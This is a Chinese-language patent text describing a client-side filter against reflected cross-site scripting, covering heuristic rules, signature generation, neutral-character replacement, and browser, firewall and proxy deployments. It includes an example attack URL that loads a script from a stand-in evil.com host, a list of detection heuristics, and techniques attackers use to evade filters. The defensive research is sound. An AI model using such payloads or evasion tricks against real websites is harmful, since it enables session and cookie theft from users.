跨站脚本过滤器的制作方法

文档序号:6478857阅读:333来源:国知局
专利名称:跨站脚本过滤器的制作方法
跨站脚本过滤器背景跨站脚本(XSS)是一种记录在案的Web应用程序安全漏洞类别。XSS攻击的目的 是允许攻击者控制用户和用户信任的网站或Web应用程序之间的关系。
在最常见的情况下,XSS涉及一种恶意URL,构造这种URL使得在生成的Web页面 的HTML (超文本标记语言)输出中重复该URL中的嵌入的客户端脚本。当受害的客户端使 用客户端Web浏览器导航到该URL时,所产生的客户端脚本在与受信任的服务器共享的会 话的安全上下文中执行。假设的XSS攻击可能按如下方式进行引诱受害者点击邮件消息 中的链接;该链接将受害者的浏览器导航到看起来像著名的并且受信任的网站;然而,该 URL链接包含恶意脚本块;由受信任的站点生成的Web页面将脚本块从包含恶意脚本evil, js的URL反射,导致客户端从evil, com加载evil, js脚本。恶意脚本在页面上显示其自己 的新闻文章。受害者相信,新闻文章是来自受信任站点的真正的内容,因为受信任的站点的 域出现在浏览器的地址栏中。受信任的站点上的欺骗内容会是相当温和的;然而,由现代Web浏览器暴露的对 象模型会允许潜在的更复杂的攻击。超出内容欺骗以外,这些攻击包括盗窃cookie,包括 可能允许攻击者作为受害用户远程登录到Web应用程序的会话cookie ;监视输入到恶意网 站的键击;代表用户在网站上执行操作(例如,对Windows LiveMai 1 的XSS攻击可能允许 攻击者读取并转发电子邮件消息,设置新的日历约会等等)。最近,网站开始汇编针对因特网上的网站报告的XSS问题的档案。归档了超过 10,000个自愿地提交的针对网站的XSS问题。攻击者可以自由地阅读XSS攻击的档案来对 任何特定的网站使用。传统的用于减轻XSS的技术不在客户端上进行,而是使用字符编码、 安全库,以及Web应用程序扫描技术,在服务器上进行。如上文所指出地,网站服务器处于 来自可以应用XSS攻击的无数可能的方式的压力之下。此外,已经提出的一些XSS减轻技 术涉及客户端组件,但是,没有哪一个能够完全在客户端上有效地过滤XSS攻击。

发明内容
下面提供了简明的概要,以便提供对此处所描述的一些新颖的实施例的基本概 念。本概要不是详尽的概述,旨在标识关键性元素或描述其范围。其唯一的目的是以简化 形式呈现一些概念,作为稍后呈现的比较详细的描述的前奏。所公开的跨站脚本(XSS)减轻技术通过安装能够消除当今存在的XSS漏洞的客户 端过滤器而完全地聚焦于客户端上。完全地在客户端上执行的XSS过滤允许Web浏览器抵 御涉及可能没有充分的XSS减轻措施的服务器的XSS。现代动态网站上普遍存在的XSS的 性质使这一点成为必需。该技术通过将URL和POST数据的可疑的部分与反射的页面内容进行匹配,准确地 标识XSS攻击。过滤器所使用的技术快速地标识被认为是安全的通信流并将其放行,使过 滤器对性能的影响保持最低。可以将非HTML MIME类型以及同一站点的请求快速放行。对 于剩余的请求,不在完全的HTTP响应上运行正则表达式(用于匹配其他字符串的字母数字字符串),除非XSS启发规则在HTTP请求URL中被匹配。过滤器以不会打开否则将不会存在的新的 XSS漏洞的方式使XSS攻击中性化。此 夕卜,过滤器以也不会对Web浏览产生不利的影响的方式使XSS中性化,不大可能将良性的内 容标记为XSS攻击。对过滤器的输入是完全HTTP请求/响应通信流。因此,在备选实现中,该技术可 以在Web代理服务器或在Web服务器上起作用。使用这种能力,过滤器作为能够阻塞XSS 的通用Web应用程序防火墙来起作用,而无需具有特定的应用程序级的知识。为了达到前文所述以及其它的相关目的,此处结合下面的描述和附图描述了某些 说明性方面。然而,这些方面只是表示可以使用此处所公开的原理的各种方式中的一些方 式,并旨在包括所有这些方面和等效内容。通过与图形一起阅读下面的详细描述,本发明的 其他优点和新颖的特点将变得显而易见。


图1示出了用于过滤跨站脚本(XSS)攻击的系统。图2示出了 XSS过滤器逻辑的更详细的框图。图3示出了可以使用的并且可随着检测到新的威胁而扩展的示范性启发规则集。图4示出了包括用于过滤XSS攻击的过滤器组件的浏览器实现。图5示出了其中在服务器上应用过滤器逻辑的服务器实现。图6示出了其中在代理服务器上应用过滤器逻辑的服务器实现。图7示出了计算机实现的过滤反射的XSS攻击的方法。图8示出了使用XSS过滤器的示范性方法。图9示出了根据所公开的体系结构的可以执行XSS过滤的计算系统的框图。图10示出了用于过滤反射的XSS攻击的示范性计算环境的示意框图。详细描述所公开的体系结构是完全集中在客户端上的反射的跨站脚本(XSS)减轻过滤技 术。过滤器是持久的,与网站兼容,并且是安全的。兼容性部分地是指过滤器防止网站的断 开。浏览器作为默认启用的功能,使用过滤技术,以提供保护相关数量的用户的能力。由 此,如果过滤器将断开甚至少量的网站,过滤器也将难以或不可能作为默认启用的功能来 实现。客户端的过滤器抵御涉及可能没有充分的XSS减轻措施的服务器的XSS攻击。该 技术通过使用启发规则和利用启发规则生成的签名,将URL和POST数据的可疑的部分与反 射的页面内容进行匹配来准确地标识XSS攻击。过滤器快速地标识被认为是安全的通信流 并将其放行,最小化过滤器对客户端进程性能的影响。客户端XSS过滤器能够观察和截取 从浏览器到Web服务器的特定MIME类型的HTTP请求和响应。可以快速地将非HTML (超文 本标记语言)MIME(多用途因特网邮件扩展)类型以及同一站点的请求放行。对于剩余的 请求,不在完全的HTTP响应上运行正则表达式,除非XSS启发规则在HTTP (超文本传输协 议)请求URL中被匹配。现在将参考附图,其中,相同的参考编号用于表示相同的元件。在下面的描述中, 为了进行说明,阐述了很多具体细节,以便提供对其有全面的了解。然而,显而易见,可以没有这些具体细节的情况下,实施要求新颖的实施例。在其他情况下,以框图形式示出了已知 的结构和设备,以便有助于进行描述。图1示出了用于过滤XSS攻击的系统100。系统100包括客户端104的用于处理客户端104和服务器106之间的通信流的通信组件102,以及用于使用XSS过滤器逻辑110 来从通信流中过滤反射的XSS攻击的过滤器组件108。通信组件102可以是向服务器106 发送以HTTP请求的形式的通信流的浏览器,而在客户端104上操作的过滤器组件108从返 回通信流中过滤XSS攻击,攻击是HTTP响应的一部分。在过滤完全在客户端104上进行的情况下,通信组件102是客户端中向服务器106 发送HTTP请求的浏览器,过滤器组件108在客户端104上操作,以过滤XSS攻击。下面将 描述在服务器端上的实现。通信流可以是HTTP请求/响应通信流,其中,过滤器组件108分析请求通信流,以 确认响应通信流中的XSS攻击。这可以通过由过滤器组件108分析请求通信流的引用者 (referer)标头来实现。过滤器组件108包括启发规则,并针对客户端104到服务器106的 传出通信流(例如,HTTP请求)处理启发规则,以生成签名,并针对来自服务器106的传入 通信流(例如,HTTP响应)处理签名,以过滤XSS攻击。启发规则处理包括过滤器组件108选择一个或多个中性字符。将HTTP响应中的 被标识的中性字符替换为中性替换字符。换言之,对输入URL和POST数据运行一个或多个 启发规则,导致生成签名。生成签名的过程是标识中性字符的过程。然后对来自服务器106 的传入的通信流运行签名,以判断是否发生了 XSS攻击。此处比较详细地对此进行了描述。 在一种实现中,过滤器组件108基于具有将导致响应在浏览器中作为HTML呈现的MIME类 型的传入的通信流的内容来针对XSS攻击处理传入的通信流。在备选实现中,过滤器组件108是客户端浏览器的一部分,并观察对浏览器的脚 本引擎的所有输入。当标识脚本块时,过滤器组件108回来扫描该请求的原始传出的通信 流(例如,原始URL和/或POST数据),以查找将要执行的脚本。如果找到了脚本,并且不 匹配,则是同一站点的脚本,可以允许放行;然而,如果存在匹配,则认为它是反射的XSS攻 击,在这种情况下,它将被过滤掉,或供进一步处理。图2示出了 XSS过滤器逻辑110的更详细的框图。过滤器逻辑110被示为包括可 以通过启发规则处理组件202应用于传出的通信流(例如,来自客户端浏览器)的启发规 则集200。对启发规则200的处理,得到签名204,然后,可以使用签名校验逻辑206,针对传 入的通信流(例如,到客户端浏览器)应用签名204。XSS分析可以是两步骤过程首先,基于对传入的请求通信流(例如,URL或post 数据)的启发规则,构建签名,其次,针对响应通信流,处理签名,以查找匹配(还被称为向 回反射)。换言之,它不只是寻找从客户端前往服务器的URL或post数据中的内容(HTTP 请求),而且还标识相同数据正在或者未重新播放到HTTP响应中。劣等的过滤器是“一个 步骤”,寻找请求中的不好之处,但不尝试将请求与被反馈的并且将执行的内容匹配。一种XSS攻击方法是通过使过滤器确信消除将导致启用否则将不可能启用的XSS 的诸如双引号之类的字符,来戏弄过滤器。对这种攻击的对抗技术是精心挑选HTTP响应中 将被修改的字符。这种只对除XXS部分以外合法的Web页面的XSS部分的可选择的中性化, 以对用户的最小的干扰来阻塞XSS。这与阻塞页面和/或要求很大程度的用户交互的情形形成对比。将不会选择会影响执行或将允许这种攻击的字符。可以使用有效地阻止脚本在 当分析器遇到它时立即执行的哈希符号。由此,通过智能地选择响应中作为有问题的将要 被替换的字符来减轻威胁。第二种攻击技术是,通过向当字符被重新播放到服务器或从服务器重新播放时可 能被丢弃或转换的请求中添加字符,来戏弄过滤器。攻击可能涉及被嵌入到URL中的脚本 标记。这事实上是攻击的常见 形式。因此,过滤器逻辑110在URL或POST数据中分析潜在 脚本标记。如果该脚本标记被重新播放,则逻辑110需要能够标识响应中的相同标记或相 同文本。如果攻击者确定,可以,例如,在脚本标记的中间,添加陌生的Unicode字符或感叹 号,且服务器在重新播放字符或标记之前丢弃它,则可以绕过过滤器,因为过滤器正在寻找脚本标记,而不是在中间带有感 叹号的脚本标记。战胜此第二种攻击技术的一种方式是通过基于过滤的第一阶段(请求)开发签名 204,S卩,使签名204不正好匹配预计位于HTTP响应中的东西,而是匹配构成XSS攻击的实 质的重要字符。换言之,在请求中插入一个或多个额外的字符将不会打败过滤器逻辑的有 效性。启发规则200是预定的集合,并用于第一阶段,分析请求通信流(URL或post数 据),以查找可能导致脚本在浏览器中执行的脚本标记和/或表达式。这样的信息的识别 不是决定性的。由此,使用启发规则200中查找到的信息生成签名204,这些签名204作为 在HTTP响应中重新播放的XSS攻击的证据。随着攻击的发展,可以编制不同的启发规则, 并添加到启发规则200中,用于标识这些新的攻击。可以以更新的形式将新的启发规则提 供给过滤器逻辑110。图3示出了可以使用的并且随着检测到新的威胁而扩展的示范性启发规则集 200。用于扫描URL的启发规则包括,但不仅限于,下面的内容启发规则300检测"或者'后面跟着(然后跟着)。初始"或'后面跟着的是要匹 配的非字母数字。这会防止它无意中匹配URL。启发规则302检测〃 ;something, something =somethingelse ;启发规则304显式地检测脚本块;启发规则306检测“style (样式),, 后面跟着"expression (表达式)(”;启发规则308检测带有表达式的STYLE元素;启 发规则310检测脚本src = blocks ;启发规则312检测第一种形式的javascript URL ; 启发规则314检测第二种形式的javascript URL ;启发规则316检测vbscriptURL ;启 发规则318检测嵌入的对象;启发规则320检测行为,包括默认行为;启发规则322检测 可能引用样式表的LINK(链接)元素;启发规则324检测带有数据绑定的元素(脚本可 以隐藏在XML数据岛中);启发规则326检测可能引用小程序的APPLET元素;启发规则 328检测带有类型属性的OBJECT (对象)元素;启发规则330检测< [TAG] ON [EVENT]= SomeFunction ()...且...< [TAG] ON [EVENT] = SomeFunction (),而启发规则 332 检测可 能设置cookie或设置模糊的内容类型的META(元)元素。随着检测到新的威胁,可以添加其他启发规则。例如,可以提供用于检测块FRAME/ IFRAME的启发规则。可以在需要的情况下,在签名生成过程中推入输入的各种置换。例 如,一些Web服务器平台悄悄地联合(coalesce)带有相同名称的参数。例如,http:// microsoft, com/microsoft, asp ? Name = asdf&Name = zzzz 可能导致 Name 变量重新播放为"asdf,zzzz"。攻击可以利用此服务器端行为来戏弄过滤器。由此,过滤器执行相似的参数名称联合,以模仿此服务器端行为。除将原始URL推入签名生成过程之外,如果存在 带有相同名称的参数,则它将它们联合起来,并将所产生的URL推入签名生成过程。在上面 的示例中,辅助URL将推入签名生成过程:http://microsoft, com/microsoft, asp ? Name =asdf,zzzz.图4示出了包括用于过滤XSS攻击的过滤器组件108的浏览器实现400。客户端 浏览器402 (通信组件)向Web服务器406发送HTTP请求404。过滤器组件108通过向请 求中的URL和/或POST数据应用启发规则来处理请求,以生成签名。如果启发规则指示请 求是可疑的,则过滤器组件108还向HTTP响应408应用签名,从而过滤掉反射的XSS攻击。在备选实施例中,浏览器中的过滤器将允许服务器通过发送特定HTTP响应标头, 而对于特定响应,禁用XSS过滤器。除非存在非常特定的并且相当稀少的漏洞(例如,“响 应分离”漏洞),否则攻击者不可能欺骗此标头,并因此禁用过滤器。此特点旨在作为应用 程序兼容性措施,以确保执行服务器端XSS过滤或只是不希望客户端XSS过滤器以任何方 式影响服务器的网站,可以禁用浏览器中的功能。图5示出了其中在Web服务器502上应用过滤器逻辑的服务器实现502。这里, 可以作为服务器防火墙应用程序504(在此情况下,通信组件)的一部分,包括过滤器组件 108。防火墙应用程序504在便于通过网络508传输数据的一个或多个服务器协议506上 操作。防火墙应用程序504和服务器502之间的通信流可以包括HTTP请求通信流510和 HTTP响应通信流512。过滤器组件108通过使用启发规则,对请求通信流510进行操作,以 生成供在响应通信流512中处理的签名。换言之,通信组件是服务器502上处理通信流的 防火墙应用程序504,而过滤器组件108作为防火墙应用程序504的一部分来操作,以过滤 XSS攻击。图6示出了其中在代理服务器602上应用过滤器逻辑的服务器实现600。这里, 可以作为代理服务器防火墙604(在此情况下,通信组件)的一部分,包括过滤器组件108。 代理防火墙604在便于通过网络508传输数据的一个或多个服务器协议506上操作。代理 防火墙604和代理服务器602之间的通信流可以包括HTTP请求通信流510和HTTP响应通 信流512。过滤器组件108通过使用启发规则,对请求通信流510进行操作,以生成供在响 应通信流512中处理的签名。换言之,通信组件是代理服务器602上的处理通信流的代理 防火墙604,而过滤器组件108作为代理防火墙604的一部分来操作,以过滤XSS攻击。对于服务器实现600的此相同配置也可以适用于供一排Web服务器使用的反向代 理服务器的情况。由此,到该排服务器的所有入站通信流首先到达代理上,在代理上处理通 信流,或将通信流转发到指定的服务器供进一步处理。因此,与响应通信流一起,检查从代 理传递到Web服务器的请求,以确认是否有企图的XSS攻击存在,并更完全地,阻塞XSS攻 击ο下面是代表用于执行所公开的体系结构的新颖的方面的示范性方法的一系列流 程图。尽管为了简洁起见,作为一系列动作示出和描述了此处,例如,以流程图的形式示出 的一个或多个方法,但是,应该理解,这些方法不仅限于所描述的动作的顺序,一些动作可 以按与此处所示出和描述的不同的顺序进行和/或与其他动作并行地进行。例如,所属领 域的技术人员将理解,方法也可以替代地诸如在状态图中表示为一系列相互关联的状态或事件。此外,并非方法中所示出的所有的动作都是新颖的实现所必需的。图7示出了计算机实现的过滤反射的XSS攻击的方法。在700,向服务器发送请 求。请求可以是HTTP请求或根据其他合适的协议的其他请求。在702,使用启发规则,处理 请求,以判断是否要生成签名。在704,从服务器接收响应。响应可以是HTTP响应,或用于 XSS攻击其他类似的响应类型。在706,基于签名的生成,作为反射的XSS攻击,过滤响应。
图8示出了使用XSS过滤器的示范性方法。在800,接收HTTP响应。在一个面向 性能的实现中,过滤器只对于具有会导致脚本执行的MIME类型的下载的内容才生效。因 此,在802,对HTML MIME类型进行检查。如果响应不是HTML MIME类型,则流程进入804, 将HTTP响应传递到客户端Web浏览器。如果响应包括HTMLMIME类型,则流程从802进入 806,在这里,过滤器还检查HTTP请求中的引用者标头。如果引用者相同,则它是同一站点 脚本,流程进入804,传递响应,因为不需要执行进一步的过滤。如果引用者标头中的完全限定域名不匹配正在被检索的URL的完全限定域名,那 么,请求可能是跨站点脚本,并进行过滤。由此,流程从806进入808,然后查找启发规则匹 配。如果没有找到匹配,则流程进入804,将响应转发到Web浏览器。然后,过滤器获取与请 求相关联的URL以及任何POST数据,并使用正则表达式来标识表示XSS攻击的特定模式。 这些不区分大小写的模式是过滤器的启发规则。下面是来自过滤器的以正则表达式的形式 存在的示例启发规则{<sc {r} ipt. * >}启发规则中的内大括号{}中的字符叫作“中性字符”,它以后将在HTTP响应中被 标识和中性化。启发规则可以具有一个或多个中性字符。此启发规则将标识脚本标记。尽 管脚本标记在HTML中可能是常用的,但是,脚本标记在URL或POST数据中的存在表示XSS 攻击。过滤器可以包括启发规则,每一个启发规则都标识可在浏览器中使用来触发跨站脚 本的单个机制。如果将来标识了另外的机制,则可以向过滤器中添加新的启发规则。每一个中性字符(在此情况下,字母“r”)表示最终将被HTTP响应主体中的过滤 器修改以便阻塞跨站脚本攻击的字符。可以使用字符“#”作为中性替换字符_它对于分解 HTML元素以及它所注入的脚本块是有效的。可以在每个启发规则的基础上配置中性替换字 符。过滤器的对中性字符的选择可以确定过滤器是否可以被破坏;为启发规则选择的 错误的中性字符会导致过滤器可被破坏。作为示例,挑选引号作为中性字符将导致过滤器 使引号中性化。聪明的攻击者可能会使用此来强制匹配,并使页面上的引号中性化,这实际 上会允许发生否则不可能发生的跨站脚本攻击。与启发规则的匹配不一定会触发过滤器检测跨站脚本;然而,匹配向过滤器指出, 将检查HTTP响应主体,以验证输入URL或POST数据中的脚本实际上被重新播放到输出页面。在启发规则匹配的情况下,流程从808进入810,在这里,过滤器为每一个匹配生 成一个签名。签名是将用于扫描HTTP响应主体以查找重新播放的的可疑的输入的新的正 则表达式。在匹配签名之后,中性替换字符被临时放进URL,继续针对启发规则进行匹配, 直到在URL中无法找到更多的匹配。签名是对于其中没有中性替换字符的URL生成的。否 贝U,签名本身将包含中性替换字符,将不会正确地匹配HTTP响应中存在的攻击。考虑将使后面跟着一组括号的引号中性化的启发规则‘ ;alert () ;alert () ;alert () ;//正则表达式有足够的能力匹配第一组括号或者最后一组括号;然而,表达式却不 能匹配中间的一组括号。因此,希望进行反复的匹配/中性化处理,直到对于特定的启发规 则标识了所有签名。对于每一个启发规则,提供安全的字符列表。对于检测脚本标记的启发规则,安全 的字符是大于(>)和小于字符(<),还有字母数字。安全的字符是对于匹配目的重要 的,并且对启发规则正试图阻塞的某种形式的攻击必要的字符。使用基于签名的方法,因为 如果过滤器简单地逐字地搜索匹配,过滤器将不一定会查找到匹配。Web服务器可能会偶然 删除或转换特定字符。事实上,观察诸如此的Web服务器行为是常见的,攻击者可以利用行 为。例如,考虑如果攻击者的URL看来像下面的http://www. victim, com/page, asp ? χ =〈SCRIPTsrc$ = “ http://www.evil.com/evil.js" >如果服务器偶然从输入中删除了美元符号,则攻击将不会被匹配。为了避免这种 攻击,使用签名方法,而不是逐字地进行文本匹配。下面是对于检测脚本标记的启发规则的示例匹配〈SCRIPT src= 〃 http://www.evil.com/evil.js" >为此匹配生成的签名将是<SC{R} iPTasrcaahttpaaawwwaeviiacomaeviiajsa>签名中的每一个Q都表示来自原始匹配的非安全的字符。零到十个未指定的字 符的序列将匹配任何CL流程从810到812,检查签名匹配。如果没有为特定页面生成签 名,则流程从812进入804,在这里,过滤器允许该页面加载而无需修改_没有检测到XSS攻
击ο然而,如果签名确实存在,则流程从812进入814,在这里,过滤器对于每一个签名,扫描HTTP响应主体,并对每一个签名匹配,使适当的字符中性化。一旦标识,过滤器记 录哪些字符将被中性化,如签名中的大括号内的字符所指示的。一旦在HTTP响应主体上运 行了所有签名,就将中性字符放进原位,并将HTTP响应主体返回给浏览器。在816,记录了 对于特定URL(以及POST数据,如果适用的话)阻塞了 XSS这一事实,并向用户通知企图进 行的XSS攻击。流程从816进入804,在这里,页面将正常地呈现,只是XSS攻击将被禁止。如在本申请中所使用的,术语“组件”和“系统”旨在是指与计算机有关的实体,无 论是硬件、硬件和软件的组合、软件或运行中的软件。例如,组件可以是,但不仅限于,在处 理器上运行的进程、处理器、硬盘驱动器、多个存储驱动器(光学和/或磁存储介质)、对象、 可执行程序、运行的线程、程序,和/或计算机。作为说明,在服务器上运行的应用程序和服 务器两者都可以是组件。一个或多个组件可以驻留在进程和/或运行的线程内,组件可以 局限在一台计算机上和/或分布在两个或更多计算机之间。现在请参看图9,该图示出了根据所公开的体系结构的用于执行XSS过滤的计算 系统900的框图。为了提供其各个方面的附加的上下文,图9以及下面的讨论旨在提供其 中可以实现各个方面的合适的计算系统900的简要的、一般描述。尽管上文的描述是在可 以在一台或多台计算机上运行的计算机可执行的指令的一般上下文中进行的,但是,所属领域的技术人员将认识到,新颖的实施例也可以与其他程序模块相结合地实现,和/或作 为硬件和软件的组合来实现。一般而言,程序模块包括执行特定任务或实现特定抽象数据类型的例程、程序、组 件、数据结构等等。此外,所属领域的技术人员将了解,可以利用其他计算机系统配置来实 施本发明的方法,包括单处理器或多处理器计算机系统,小型计算机、大型计算机,以及个 人计算机,手持式计算设备、基于微处理器的或可编程的消费电子产品等等,上述每一种设 备都可以可操作地连接到一个或多个关联的设备。所说明的方面也可以在其中某些任务由通过通信网络链接的远程处理设备执行 的分布式计算环境中实现。在分布式计算环境中,程序模块可以位于本地和远程存储器存 储设备中。计算机通常包括各种计算机可读介质。计算机可读介质可以是可以被计算机访问 的任何可用的介质,并包括易失性和非易失性介质,可移动和不可移动介质。作为示例,而 不作为限制,计算机可读的介质可以包括计算机存储介质和通信介质。计算机存储介质包 括以存储诸如计算机可读的指令、数据结构、程序模块或其他数据之类的信息的任何方法 或技术实现的易失性和非易失性、可移动和非可移动介质。计算机存储介质包括,但不仅限 于,RAM、ROM、EEPR0M、闪存或其他存储技术、CD-ROM、数字视盘(DVD)或其他光存储器、盒式 磁带、磁带、磁盘存储器或其他磁存储设备,或可以被用来存储所希望的信息并可以被计算 机访问的任何其他介质。 再参考图9,用于实现各方面的示范性计算系统900包括具有处理单元904、系统 存储器906和系统总线908的计算机902。系统总线908为系统组件,包括,但不仅限于,系 统存储器906提供到处理单元904的接口。处理单元904可以是市场上可买到的各种处理 器中的任何一种。也可以使用双微处理器及其他多处理器体系结构作为处理单元904。系统总线908可以是可以使用各种市场上可买到的总线体系结构中的任何一种, 进一步互连到存储器总线(有或者没有存储器控制器)、外围总线,以及本地总线的多种总 线结构类型中的任何一种。系统存储器906可以包括非易失性存储器(NON-VOL)910和/ 或易失性存储器912 (例如,随机存取存储器(RAM))。基本输入/输出系统(BIOS)存储在 非易失性存储器910中(例如,ROM、EPROM、EEPROM等等),BIOS存储例如在启动期间帮助 在计算机902内的元件之间传输信息的基本例程。易失性存储器912也可以包括用于缓存 数据的诸如静态RAM之类的高速RAM。计算机902进一步包括内部硬盘驱动器(HDD)914(例如,EIDE、SATA),内部HDD 914也可以被配置为在合适的底盘上作为外用、磁性软盘驱动器(FDD) 916 (例如,从可移动 磁盘918中读取或向其中写入)和光盘驱动器920 (例如,读取⑶-ROM光盘922或,从诸如 DVD之类的其他大容量光学介质中读取或向其中写入)。HDD 914、FDD 916和光盘驱动器 920可以分别通过HDD接口 924、FDD接口 926和光驱动器接口 928,连接到系统总线908。 用于外部驱动器实现的HDD接口 924可以包括通用串行总线(USB)和IEEE 1394接口技术 中的至少一个或两者。驱动器以及它们的关联的计算机可读介质提供数据、数据结构、计算机可执行的 指令等等的非易失存储。对于计算机902,驱动器和介质接纳合适的数字格式的任何数据的 存储。虽然上文对计算机可读介质的描述引用了 HDD、可移动软磁盘,以及诸如CD或DVD之类的可移动光学介质,但是,所属领域的技术人员应该了解,计算机可读取的其他类型的介 质,如压缩驱动器、磁带盒、快擦写存储卡、盒式磁带等等,也可以用于示范性操作环境中, 进一步地,任何这样的介质都可以包含用于执行所公开的体系结构的新颖的方法的计算机 可执行的指令。许多程序模块可以存储在驱动器和易失性存储器912中,包括操作系统930、一个 或多个应用程序932,其他程序模块934和程序数据936。一个或多个应用程序932、其他程 序模块934,以及程序数据 936可以包括通信组件102 (例如,浏览器)、客户端104、过滤器 组件108、XSS过滤器逻辑110、启发规则处理组件202、启发规则200、签名204、签名校验逻 辑206、浏览器402、服务器防火墙504,以及代理防火墙604。操作系统、应用程序、模块和/或数据中的全部或一部分也可以缓存在易失性存 储器912中。应了解,所公开的体系结构可以利用各种市场上可买到的操作系统或操作系 统的组合来实现。用户可以通过一个或多个有线/无线输入设备,例如,键盘938和指示设备,如鼠 标940,向计算机902输入命令和信息。其他输入设备(未显示)可以包括麦克风、IR遥 控器、游戏杆、游戏操纵杆、铁笔、触摸屏等等。这些及其他输入设备常常通过连接到系统总 线908的输入设备接口 942连接到处理单元904,但是,也可以通过其他接口,如并行端口、 IEEE 1394串行端口、游戏端口、USB端口、IR接口等等,来进行连接。监视器944或其他类型的显示设备也可以通过诸如视频适配器946之类的接口, 连接到系统总线908。除了监视器944之外,计算机通常还包括诸如扬声器,打印机之类其 他外围输出设备(未显示)。 计算机902可以使用逻辑连接通过与一个或多个远程计算机(如远程计算机948) 的有线/或无线通信,在联网的环境中操作。远程计算机948可以是工作站、服务器计算 机、路由器、个人计算机、便携式计算机、基于微处理器的娱乐电器、对等设备或其他公共网 络节点,通常包括针对计算机902所描述的许多或全部元件,虽然,为了简洁,只示出了存 储器/存储设备950。所描述的逻辑连接包括与局域网(LAN)952和/或较大的网络,例如, 广域网(WAN)954的有线/无线连接。这样的局域网与广域网网络环境在办公室和公司是 普遍现象,并有利于建设诸如内部网之类的企业范围的计算机网络,所有的这些都可以连 接到全球通信网,例如,因特网。当用于LAN网络环境中时,计算机902通过有线和/或无线通信网络接口或适配 器956连接到LAN 952。适配器956可以促进与LAN 952的有线或无线通信,LAN952也可 以包括位于其上的无线接入点,用于与适配器956的无线功能进行通信。当用于WAN网络环境中时,计算机902可以包括调制解调器958,或连接到WAN 954上的通信服务器,或具有用于通过WAN 954 (如通过因特网)建立通信的其他装置。调 制解调器958,可以是内置的或外置的,有线和/或无线设备,通过输入设备接口 942,连接 到系统总线908。在联网的环境中,参考计算机902所描述的程序模块,或其某些部分,可以 存储在远程存储器/存储设备950中。应了解,所示出的网络连接只是示范性,也可以使用 用于在计算机之间建立通信链路的其他装置。计算机902可以与可操作地处于无线通信中的任何无线设备或实体,例如,打印 机、扫描仪、台式机和/或便携式计算机、便携式数据助理、通信卫星、与可以无线方式进行检测的标记关联的任何设备或位置(例如,自助服务机、报摊、休息室),以及电话,进行通 信。这至少包括Wi-Fi (或无线保真)和Bluetooth 无线技术。如此,通信可以是与常规 网络相同的预定义的结构,或者,只是至少两台设备之间的特别通信。Wi-Fi网络使用叫 做IEEE 802. llx(a, b,g,等等)的无线技术提供安全、可靠、快速的无线连接。可以使用 Wi-Fi网络将计算机彼此连接起来,连接到因特网,以及连接到有线网络(这些有线网络使 用IEEE 802. 3或以太网)。现在请参看图10,该图示出了用于过滤反射的XSS攻击的示范性计算环境1000的示意框图。环境1000包括一个或多个客户端1002。客户端1002可以是硬件和/或软件 (例如,线程、进程、计算设备)。客户端1002可以,例如,封装cookie和/或关联的上下文 fn息ο环境1000还包括一个或多个服务器1004。服务器1004也可以是硬件和/或软件 (例如,线程、进程、计算设备)。服务器1004可以封装了,例如,通过使用体系结构来执行 变换的线程。客户端1002和服务器1004之间的一种可能的通信可以呈现用于在两个或更 多计算机进程之间传输的数据包的形式。数据包可以包括,例如,cookie和/或关联的上 下文信息。环境1000包括通信框架1006 (例如,诸如因特网之类的全球通信网),可以被用 来促进客户端1002和服务器1004之间的通信。通信可以通过有线(包括光纤)和/或无线技术来进行。客户端1002可操作地 连接到一个或多个客户端数据存储器1008,可以使用这些客户端数据存储器来存储客户端 1002本地的信息(例如,cookie和/或关联的上下文信息)。类似地,服务器1004可操作 地连接到一个或多个服务器数据存储器1010,可以使用这些服务器数据存储器1010来存 储服务器1004本地的信息。客户端1002可以包括客户端104,而服务器1004可以包括Web服务器406、服务 器502,以及服务器602。可以在服务器系统上安装防火墙504和604。上文所描述的包括所公开的体系结构的示例。当然,不可能描述组件和/或方法 的每个可能的组合,但是,那些精通本技术的普通人员可以认识到,本发明的许多进一步的 组合和置换也是可以的。因此,新颖的体系结构旨在包含在所附权利要求书的精神和范围 内的所有这样的更改、修改和变化。此外,就术语“包括(include)”用于详细描述或者权利 要求中而言,这样的术语是包括性的,类似于术语“包含”,当被用作权利要求书中的过渡词 时所解释的方式。
权利要求
一种用于处理跨站脚本(XSS)攻击的计算机实现的系统(100),包括用于处理客户端和服务器之间的通信流的通信组件(102);以及用于从所述通信流中过滤反射的XSS攻击的过滤器组件(108)。
2.如权利要求1所述的系统,其特征在于,所述通信组件是向所述服务器发送HTTP请 求的所述客户端中的浏览器,所述过滤器组件在所述客户端上操作,以过滤所述XSS攻击。
3.如权利要求1所述的系统,其特征在于,所述通信流是HTTP请求/响应通信流,所述 过滤器组件分析所述请求通信流,以确认所述响应通信流中的所述XSS攻击。
4.如权利要求3所述的系统,其特征在于,所述通信组件是处理所述HTTP请求/响应 通信流的所述服务器上的防火墙应用程序,而所述过滤器组件是作为所述防火墙应用程序 的一部分来操作以过滤所述XSS攻击。
5.如权利要求3所述的系统,其特征在于,所述通信组件是所述服务器上的代理防火 墙应用程序,所述服务器是处理所述HTTP请求/响应通信流的代理服务器或反向代理服务 器,而所述过滤器组件是作为所述代理防火墙应用程序的一部分来操作以过滤所述XSS攻 击ο
6.如权利要求1所述的系统,其特征在于,所述服务器基于特定的HTTP响应标头,对于 特定响应,禁用所述过滤器组件。
7.如权利要求1所述的系统,其特征在于,所述过滤器组件针对所述客户端发往所述 服务器的传出的通信流来处理启发规则以生成签名,并针对来自所述服务器的传入的通信 流处理所述签名以过滤所述XSS攻击。
8.如权利要求1所述的系统,其特征在于,所述过滤器组件在从所述服务器到所述客 户端的响应中选择一个或多个供替换的中性字符,来确定是否发生所述XSS攻击。
9.如权利要求1所述的系统,其特征在于,所述过滤器组件针对来自所述服务器的传 入的通信流来处理一个或多个签名以确定是否发生所述XSS攻击,所述攻击基于具有MIME 类型的所述传入的通信流的内容。
10.如权利要求1所述的系统,其特征在于,所述过滤器组件处理对脚本引擎的所有输 入,当标识脚本块时,所述过滤器组件在原始传出的通信流中扫描请求,以找到将要执行的 脚本,并基于所述脚本与所述脚本块的匹配,过滤脚本块。
11.一种用于处理XSS攻击的计算机实现的系统,包括用于处理客户端和服务器之间的请求和响应的客户端浏览器(402);以及作为所述客户端浏览器的一部分的过滤器组件(108),用于使用启发规则分析所述请 求,并使用从所述启发规则生成的签名,分析所述响应,并基于所述签名,从所述响应通信 流中过滤反射的XSS攻击。
